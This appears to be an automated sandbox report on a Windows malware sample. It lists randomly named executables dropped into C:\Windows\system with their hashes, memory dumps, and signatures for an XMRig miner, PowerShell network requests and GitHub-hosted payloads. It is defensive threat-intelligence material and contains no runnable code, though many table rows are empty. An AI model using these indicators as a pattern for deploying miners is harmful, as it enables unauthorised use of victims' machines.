| SHA512 | b85516668beca58295210a3771fa0409897e4f304f81c8463c57f3c9782732643d999aea99970bfe18a99cc36c7d0d16c5cf5ef1f2b6828537c9308f264f0e4d |
C:\Windows\system\RjcVMZw.exe
| MD5 | 094e2fe0b4c375822065e067bbb08f92 |
| SHA1 | 57f7aba2fef0e80221fbe1591ee09aaa2b4ac413 |
| SHA256 | 25bd1ad852fbd74ba12401fc3ac6558bc4726ee7317c1397e9caa6fe228a1657 |
| SHA512 | f7c9c7788fa57a0c5295538d8f35e96fed87773c0c43e98e3c9087cc62742e4b8e1dd2db15836a413e862ef9223d1e46ea5a73b4a17b4ebc98ba501837fe1ec3 |
C:\Windows\system\bnxatdK.exe
| MD5 | c34ae05c465dbc1d2a858224cce22f75 |
| SHA1 | 9ec01c5c8c0cfe598ba35f41957dc0df9ec880da |
| SHA256 | 27ed94fdf6d6959b157393fc55ca0ed634d4606b59120ae114120b13d2c73f2f |
| SHA512 | 8267984cef2eae42bbcda8d8e103ed2893df2571e02e39e51d57e78f3cb997236ba676d9648de9c91b22be82df805ec13cd0ab013000d582d0ac76e77b32c1bb |
\Windows\system\BsOWCQp.exe
| MD5 | 8e5631e1575c177594af082ea07af2de |
| SHA1 | 9bbcd9e3c555bad8672749bd5ad16400d7ad2108 |
| SHA256 | 256380c0ec9912849fb33251881bdfb3261a1de5b7271d48d11a1658ff0f295b |
| SHA512 | c8a042e682e443aae6474c2e8f332616145b238672b1e0283e7898bccb1ab1a09dd422e1d0e70471b3234b23cae48d1dbc9b0ccde1fb2553c5bbe60de4b075f6 |
C:\Windows\system\vIuMTgu.exe
| MD5 | 4c2895a35471d92f2256f0d369346f62 |
| SHA1 | 769a8312ecaaa7f46b7c49e39ec591a266dc411a |
| SHA256 | 208be3bbbe9fb1bc8bb792f2a45a5462efce47762c5f0d7223a1fba89c0a1b5a |
| SHA512 | a33582dce64b4badac119a2869abbec38306337620e7c4fdd870846bacc482a026578c88b54b5e9ea99b9817b288d98c6fb0668f6927460effa6afe387ee0592 |
memory/2216-85-0x000000001B5F0000-0x000000001B8D2000-memory.dmp
memory/2216-102-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
C:\Windows\system\QcaSPmQ.exe
| MD5 | d1db45bb9eb4bad8b40b14d518d1d0a2 |
| SHA1 | ec689ea4bc450118e5c158f4fc94578011f246a3 |
| SHA256 | a676db112d9e88e677fb231a98d3ccd592c5c1681b2ff05978f08413d99bcb3e |
| SHA512 | 0feefc4a17c70fcf6c9ce45686864a24104d71c1ef952be0b4c8b9c11783ff0899811b4ed5e6dc6d18922c50283101bc768e71b67fc39bba98ed41509814e0b6 |
memory/2236-115-0x000000013F770000-0x000000013FB66000-memory.dmp
memory/2236-117-0x000000013FF00000-0x00000001402F6000-memory.dmp
memory/2236-119-0x000000013FD10000-0x0000000140106000-memory.dmp
memory/2784-122-0x000000013F960000-0x000000013FD56000-memory.dmp
memory/2216-127-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
memory/2748-129-0x000000013F390000-0x000000013F786000-memory.dmp
memory/2236-128-0x0000000003030000-0x0000000003426000-memory.dmp
C:\Windows\system\EgXILFR.exe
| MD5 | 63fb0873031f27e1ba85da4f9979660c |
| SHA1 | b2f37419f62a591b23c1afdf8bc0b9ecf5234b12 |
| SHA256 | 2ec83a68793fcea984879ed6901a22352668466cc1c5caed8de1c75a58e89180 |
| SHA512 | d043ba95676b90c97c9fafa1b46578da37eb1f158a67489ede2ac2b9bc4e8e064d21687157ad4a0a34bd03228f16e65399d8e41e37f8bcf0843b8cf0a6f3ad56 |
C:\Windows\system\LfurOFX.exe
| MD5 | 9d5f6ae72f45d9a777b4c69d4aba55c7 |
| SHA1 | 7774f809b394e110042462e9eb61ea3cf1e4f575 |
| SHA256 | d00f0189ea7c31cbf0d3408a0c2f48d73c9a1eae34f9ebad5e7d06c8da61d5f0 |
| SHA512 | fb33ae1a62ac7acc99d741bc002373ff2f2158e6bbf6f6dfde96128d11a1b182887bab6b860fe60daf83fdc09138076b36335f153fb00c13084f700dc9fbf93e |
memory/2236-121-0x000000013F960000-0x000000013FD56000-memory.dmp
memory/1600-120-0x000000013FD10000-0x0000000140106000-memory.dmp
memory/2936-118-0x000000013FF00000-0x00000001402F6000-memory.dmp
memory/2416-116-0x000000013F770000-0x000000013FB66000-memory.dmp
memory/2216-91-0x0000000002100000-0x0000000002108000-memory.dmp
C:\Windows\system\JmqYvnw.exe
| MD5 | 3f6d0bfa0688181d071092dc6b91e0f2 |
| SHA1 | b69d25ba2bf7935f85acc7834686b8466c48b7e5 |
| SHA256 | 8748c9ab203d532655515a8bb89e3a128f45de58f2a07d1721119b6eaa5421cb |
| SHA512 | 304b0930cd96fa4b05a0ad522e18806adca8045709aafb6db7a58a7e71a21b1570afb07bf9dfb1df374780feed03ab4ac4c757e3c7bf78e295d50bae41f6cdb2 |
C:\Windows\system\VYKOjic.exe
| MD5 | 492515fef448192cd011be9189fe3221 |
| SHA1 | d7065b7136e3f5bbeeea33bf2b299566c9d07c8c |
| SHA256 | c0a5b6b8f942ad4b87423f7cf3d8b8500e2eafed4fe46531614e41fb7d9e35b4 |
| SHA512 | 48923986a587c33c6b341db8c3abaee1321fbdbc2b88e08d541f26a892d540f31078aa24d6dd501945dfcea0af6e29a310c25f6da2ed9bd2f5b4830d91372a09 |
C:\Windows\system\HurxZqc.exe
| MD5 | fbb3e4c1dcaed8f0ba2331fc1226cef8 |
| SHA1 | 7e153bc392cdc7cc1978e8a6e1485830ddf9e2a7 |
| SHA256 | d45ddda69ce70885e2f9e62329dd82892f266dbc050721ea76a8c2dcda9d1cd8 |
| SHA512 | a707b06bf59b2a12bb9c965526f604f5fec7683ded51483e0ae228058130bc12a1d126113126cdce81a8658d636e9b0c029af4132fa3424f09dc8080325314e8 |
C:\Windows\system\lPMNKDm.exe
| MD5 | 527ddd2207909a48f943ea475fe2b208 |
| SHA1 | a3f2baf8cb7f02bdf30d643b0a9d21d4273173dc |
| SHA256 | a7e2adeba64e48fc703045fb66b0538de2eb056f3aedcc93b829d0c987130b15 |
| SHA512 | 6882177aa8d8445f4af784f807b7a6d9eca9b65c3b9f63f689391429393c4ac8557693d2248ab514d9b402e25b0f4031e3df9def41da18017a3e70d93ecd1d80 |
C:\Windows\system\ZvBxSxP.exe
| MD5 | f89565970c948f9bae7555ae89824ca1 |
| SHA1 | 69206a391efb6cc8e110be20b05bad997842c67b |
| SHA256 | a370f9b2e35f894ee36a289e7affda969b521b42a5f01ffe7f682b6a7fa2bf97 |
| SHA512 | f7396be567065062fc32f564a25f55c7ff46c108cb8812dca5fcc06119cb822046d34905c862caa59132d52bc19f1ace751fd37fe0eb094fb2f87a40fa4ef3d1 |
C:\Windows\system\dZFSsRA.exe
| MD5 | 959b8e94e931d8172460f752b7d3fa47 |
| SHA1 | 46d1afb7b43f6f46db5ffb730379aab07f764751 |
| SHA256 | 41710fa947febd160f1f7dab57bf9a493a29c1912b7a97ce6cb70bd1fcb73fcf |
| SHA512 | f3831153e63c91e187ee4097118a99c5936fd6a9cd105df3330eabd5fb85d9329e91b212f720338141c9e24543a038e288ba5d5f682529c629ca728491bfd7ef |
C:\Windows\system\NjflVfu.exe
| MD5 | 6e191b7a5526a264826b3ec954787ad3 |
| SHA1 | a6cfce706231608aeb3c2056bebb827588b89047 |
| SHA256 | 0f8a94540a655d21ed3b439e12660df9a9a3ff080ea7584f0c7327c0f777137b |
| SHA512 | ee1ee66c70aba5ae56e9fd5930d6bc3f151c317f702fc0809d79184f05ab75f3f487ac963459f8c1f3d4364fe6f07055fce37bb32b99625acbddcd645b84b128 |
memory/2216-31-0x00000000029C0000-0x0000000002A40000-memory.dmp
memory/2632-30-0x000000013F9F0000-0x000000013FDE6000-memory.dmp
memory/2236-16-0x0000000003030000-0x0000000003426000-memory.dmp
memory/3012-14-0x000000013F350000-0x000000013F746000-memory.dmp
memory/2964-13-0x000000013FB20000-0x000000013FF16000-memory.dmp
memory/2236-12-0x000000013FB20000-0x000000013FF16000-memory.dmp
memory/2236-26-0x000000013F9F0000-0x000000013FDE6000-memory.dmp
C:\Windows\system\MHWVhxR.exe
| MD5 | 8c67a27edb46b3ef5a660b5d45991c67 |
| SHA1 | 7b27863ddb1e1b3a5e9a160cb2e164fd933ddfcc |
| SHA256 | 33777e3c0aee4f01571b48adba46a4b836e8e67cf92214b634d6f20467a8ef4d |
| SHA512 | 198e7ce1aecdb539aff2715cf3ea5d3ed5268d82b4c53a7cf52d72613daa2ec890e88cb4c5dcb9a380e3bf6942f28aca03e4cb06ff7a6dd19c1433df49ddc5b6 |
C:\Windows\system\fwpYKJB.exe
| MD5 | e26b62509bbc1fe9e7b252b6dadbf7d7 |
| SHA1 | 94207ed353a8487bc0a03cf71cf09d3c89f311dd |
| SHA256 | e90b09b9625eb0069edf3d3bfa3f06d444cd3b78045401c87ebb9f593dbd72f3 |
| SHA512 | e6c4cc465801bfe9d1b54c8668a646a6f42c42a90f161966c5748b4852f32ade295ffcfd8ae37a5922d517dd508230347b53dec6ce78e7a6c6a1ed6ce1d7db29 |
C:\Windows\system\IbzFLeC.exe
| MD5 | 068bfd0cbb92bf55f270b005eecc4424 |
| SHA1 | d2a2acf06b54f538810f74181df21abb74afc855 |
| SHA256 | 988d632b436ee194ea61b2bd3e9c04d381b48948a32b95f8c663e2213c7cb403 |
| SHA512 | 8755773f290a94de902197ae44349963bc5b353a04f6a17dbade37b1c2bbac7f8064ba47860f2fb2b4e18dbf14a702c6b238d4698f412567c3afc34d38d08df9 |
C:\Windows\system\xNfNwqr.exe
| MD5 | 1b7f95fbfb7592c05c2a04b8c47d09ed |
| SHA1 | bf27c2ba820f7b57c78910100b008321d13c3dda |
| SHA256 | c2c9be970ddb8895172b359444fd43711770dad553da0ea260b396234902dc03 |
| SHA512 | 7986f22cad83ec595d4d1188d3b6b91a9f6cac8f6e7825897a82329a04d46c9d7ed614d9eaef319c9e648fe32bab452e26350864c92022e8a3f488f65e9dc283 |
memory/2236-108-0x000000013F4F0000-0x000000013F8E6000-memory.dmp
memory/2824-107-0x000000013F4F0000-0x000000013F8E6000-memory.dmp
memory/2236-106-0x000000013F4F0000-0x000000013F8E6000-memory.dmp
memory/2508-113-0x000000013F340000-0x000000013F736000-memory.dmp
memory/2236-112-0x0000000003030000-0x0000000003426000-memory.dmp
memory/2544-111-0x000000013FB60000-0x000000013FF56000-memory.dmp
memory/2236-110-0x000000013FB60000-0x000000013FF56000-memory.dmp
memory/2652-109-0x000000013F4F0000-0x000000013F8E6000-memory.dmp
\Windows\system\HHkJheJ.exe
| MD5 | 3ad0e6a1a71c2ab898edb88f9041d3ac |
| SHA1 | 3c93ecacfc5481ffc1f9b810464e55318c2856f8 |
| SHA256 | 29788358c092dbd4063384b4d278f66c087c2b9a7ea36f935f536a26bb0bc386 |
| SHA512 | 3dc92bdcfb94526d70cf3135643753856a924581b24b66980113d152315f4e929b5e3feecbf8c1880ea4674097104817cf035fc9e9cbd0f305af2cf41c8cb0bf |
memory/2216-391-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp
\Windows\system\onhmUMP.exe
| MD5 | a3bcff7131dd547e451a9fe2e53dc928 |
| SHA1 | b8afcf49b2f0e4ee2b8b89418ac5f1f94a92451e |
| SHA256 | f98fc42fa3bf28acf6569a6560b61e863cb954ad6208adf03f790f9cf7c90ee5 |
| SHA512 | 455b8168c33211f7dfe8ac340b47af3ed93fba4a6b19311662d702dd3204194589c5524cb63084719d927c7d869e1732bc9670a04826cac0e01bb6188150c61e |
\Windows\system\FNQADPJ.exe
| MD5 | 4d467c3700f9dbdef9e8a99620821c44 |
| SHA1 | ac940ca8c1e490f5a35c3c0d9e120f6ee998b563 |
| SHA256 | 52fc7f5c9340e5a781a97d474e3f270529f2d83e96f1d7c9d48a1e877f5a4536 |
| SHA512 | de74ed5163f2f94eafd7425f580406f53df10df7d4136949a516221eab9541e3fe079239c904b36be5ad69620d92cd0e238678532b6c7e615eb649652c254115 |
\Windows\system\rTRfSoX.exe
| MD5 | 85569fdce9eb980f615d954ac5848e72 |
| SHA1 | 992c092a02424e341e54a980888eaf6b04cad08d |
| SHA256 | c25c4915186258c80aeba7d3e7c7e56fbe88b5a6f82ed685801366c9b50bef79 |
| SHA512 | 5c285fa2ddb695b28dd255013a5e58916e3ab7bcf18ba0cf17f22c4ec1068966e74c5424b6409f10d6b474d35c35f95a9e155815a6381859a83f876482ab5f42 |
\Windows\system\LhWrNUm.exe
| MD5 | 937192e391af3c0405102e992fbd0f21 |
| SHA1 | b50e1563269f7eceef6aa517ced208f9da5cb29f |
| SHA256 | 2e6f47a9c23e32abaab7886d4d7f9c537ea9a7a7ad5017ac04750f878039ae5b |
| SHA512 | 1001195a330965f7b2f745e911088e7717aac4f689b02d18265af1d4078e800d97320d763046d7181c89bb4c4ae42990e9fbe24b1bcee0aaf3fb060838514ee7 |
\Windows\system\lMQuXAP.exe
| MD5 | c5aa2d5142d339532d01bc4131056a7c |
| SHA1 | d85cfa1b5404e1a624573e22909b03cf6f809e20 |
| SHA256 | 69a92d66115e369e39e730659270ff041cf1b74dc575ab59d9bb19095fae5be6 |
| SHA512 | 11e09dc79fd23884566d4c478adda3617fb25bf37dd491b6706b5eafc6e9c682101bd71745c6568b6c3077c72f040c54aa9e8fef7a34ef5fd6a5d76d7ed639f9 |
\Windows\system\ERDuwre.exe
| MD5 | 88bbd19bcb73c3bb92a45e28cf2eb1b2 |
| SHA1 | 6a6c40b2c8e108306e19aa0b0e1c47d9c82626e2 |
| SHA256 | f3ac22a5520666415ff80f64e114d507f36c701affc291e1dfa66e1da8a72802 |
| SHA512 | 341528b449aabd1cfe16b1b95798e0be8196bd5dda352dcd6dc543db1ddf66192acdb8d102ea1c40a07c340dd9ed506de6a66d38b2f15d0a2fc657043b4a929f |
\Windows\system\bFbrkUM.exe
| MD5 | 27af253795c190fe8264db84d674eb98 |
| SHA1 | f44443cf93eb666e96c18d2cd7cbd9e1e2b4bfdc |
| SHA256 | 7aa3aaba5b74d68fca532fcbc543f04ee55326b532173454765ee4b14f8572e7 |
| SHA512 | 8d5484012e2614e68325ab6250c0f8f28be63ea75b72466985da38d018a391cd11e670490cf5fa9e56424adc2652caac27fc9a6afeec5d6e3aaa3f005c0d460f |
\Windows\system\eZEAoCz.exe
| MD5 | 34a4380651ab93a3e5329edc97eaeeaa |
| SHA1 | 658c7ba7e43860f0a9ec2286ba998a5ee57902fa |
| SHA256 | 98af359e8ac2b09c74913395c3379afeb6dcac5c9e1efb8f71320372a3ab78dc |
| SHA512 | c39e563b2ce9bb95cbce99b1de2d5d231450c33b2033733f1f83a40e8f5f73fdd0ac5cef1ff3fecb5d8a671456a22752b7cb096954f9c2421c6de7660640fa91 |
\Windows\system\gfBJkGo.exe
| MD5 | 50e64fe58eb99b678047e34c0f31cbd3 |
| SHA1 | 36018b339e2f8339718e390d3d6daf4827efdfe5 |
| SHA256 | f9a384cbc47f63ce4eb5b4a7035e852d742afde400e90b5238fa80477122a070 |
| SHA512 | deef416ac4dfa1917c04eb424bfc6092bf5942f4c1daf770c26b1d5ca672ef246ad5f5077fcb5093a4f1ece75fc116297943ba6c8fdbd4ce3c070ae166d3ba0c |
C:\Windows\system\oJgYfBO.exe
| MD5 | 5d2fbe2038c929cc1de4dc9eaaedf1f2 |
| SHA1 | 93ec64ba2fa423fd766eb4612edce21056fed2f9 |
| SHA256 | 7a3b6eb80d5aecf65cfd238b642dde898d019ff884cc850f48fc8071dceb1add |
| SHA512 | f9588fb9549ebd03a258edb918e8a703bcefbc2354d7d1a7a656a55dae966458692bc06b1fbec1ea74080bcbb60adbed91aa4d270321fc0bf5c2ff95424a2b5a |
C:\Windows\system\cKuTKFs.exe
| MD5 | d0a4ce3151e43c260659b74197abc9d0 |
| SHA1 | fa738aceea9e60bac2b7daccd3ac104dfac2d33a |
| SHA256 | 011ff2d4266ea32b3fbe00d2ffc51409ab410d143ef9cc7fb3c0cbfce5cd8c0a |
| SHA512 | 165827a777c6b381d860bc642c14ddaaca3659c52d10782481309189a161b2191e4a42c653f641a990082004df66623240baa4731016067d0e21454c7eafc770 |
C:\Windows\system\MjJytPY.exe
| MD5 | de63554f2b25df33e6158860298f85f2 |
| SHA1 | 1553ec2303e3d14339af3264415b1ea1780530b5 |
| SHA256 | ea2e0b009fa11a5cd7197d6ad43d177851b5e5cc4ea7caffa05128d842fdc0e7 |
| SHA512 | 686849d9309932a9e90e3337f6d7bd91b406bc497c9ea0cb56074e7ee0dccc6d8d341b6d296e5b52d3dbf90692dac50a426e5c5069da35744aa75d520a98d70a |
C:\Windows\system\lvMOgfb.exe
| MD5 | 2fc55ba5e2191a918a36bd6e2a484060 |
| SHA1 | f2b84f8b4e4d899ae2815d6eb2c96a64043fc574 |
| SHA256 | 58f402a60fcf9de45622ae24823b37dc3c94aee5e87cf4a9ed73112306fa03e8 |
| SHA512 | be79baa9a9eefb9939080e5b42b54a1c2605f2b37ecb873bf32207d326a010f75f50b595e14fbcbbe0c15d3e970cd490551c258b3dc1312c559e9fc03c5bf9ac |
memory/2236-2789-0x000000013F060000-0x000000013F456000-memory.dmp
memory/3012-2887-0x000000013F350000-0x000000013F746000-memory.dmp
memory/2236-3284-0x0000000003030000-0x0000000003426000-memory.dmp
memory/2236-3611-0x0000000003030000-0x0000000003426000-memory.dmp
memory/3012-7274-0x000000013F350000-0x000000013F746000-memory.dmp
memory/2936-7284-0x000000013FF00000-0x00000001402F6000-memory.dmp
memory/2416-7294-0x000000013F770000-0x000000013FB66000-memory.dmp
memory/2784-7288-0x000000013F960000-0x000000013FD56000-memory.dmp
memory/1600-7304-0x000000013FD10000-0x0000000140106000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 22:52
Reported
2024-06-13 22:55
Platform
win10v2004-20240611-en
Max time kernel
111s
Max time network
149s
Command Line
Signatures
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-wal | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db-shm | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Drops file in Windows directory
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.1 = 4163636573732e4669785468656d654368616e676551727952657061696e74222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e4c696e6b65645461626c654d616e616765722e536561726368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e5175657279496d70726f76656d656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4163636573732e5175657279496d70726f76656d656e74732e45434c4d756c746953656c656374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e436f6d62696e654261636b656e6444696d656e73696f6e436f6d6d616e6473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4175674c6f6f702e4c6963656e73654665617475726573456e61626c65644f72436865636b222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4175674c6f6f702e576f726b666c6f7744697361626c65642e5265706c6163654f626a656374576f726b666c6f77222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4358452e48696464656e466f6e74734d736f466f6e745069636b657257696e3332222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e416c6c6f7753657456616c756573576974686f7574457863656c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e4368616e6765476174652e46436c6561724d6f6e696b6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e436f6c6c656374536861706550726f7073427567466978222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e4d6170436861727459656c6c6f7744617461222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e5069766f744368617274496e7665727446696c6c427567466978222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e43686172742e536c69646553686f7748696465546f6f6c74697073222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070564d61785265747279436f756e74222c20225622203a2022696e7433325f747c313422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070564d6178526574727954696d654c696d6974222c20225622203a2022696e7433325f747c363030303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e417070565265747279496e74657276616c222c20225622203a2022696e7433325f747c3230303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655265666163746f72656453687574646f776e50726f636573736573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734164646f6e222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734f6e557064617465427573696e657373222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e436c69636b3252756e2e5573655465616d734f6e55706461746550726f506c7573222c20225622203a20227374643a3a77737472696e677c656e61626c656422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e437573746f6d6572566f6963652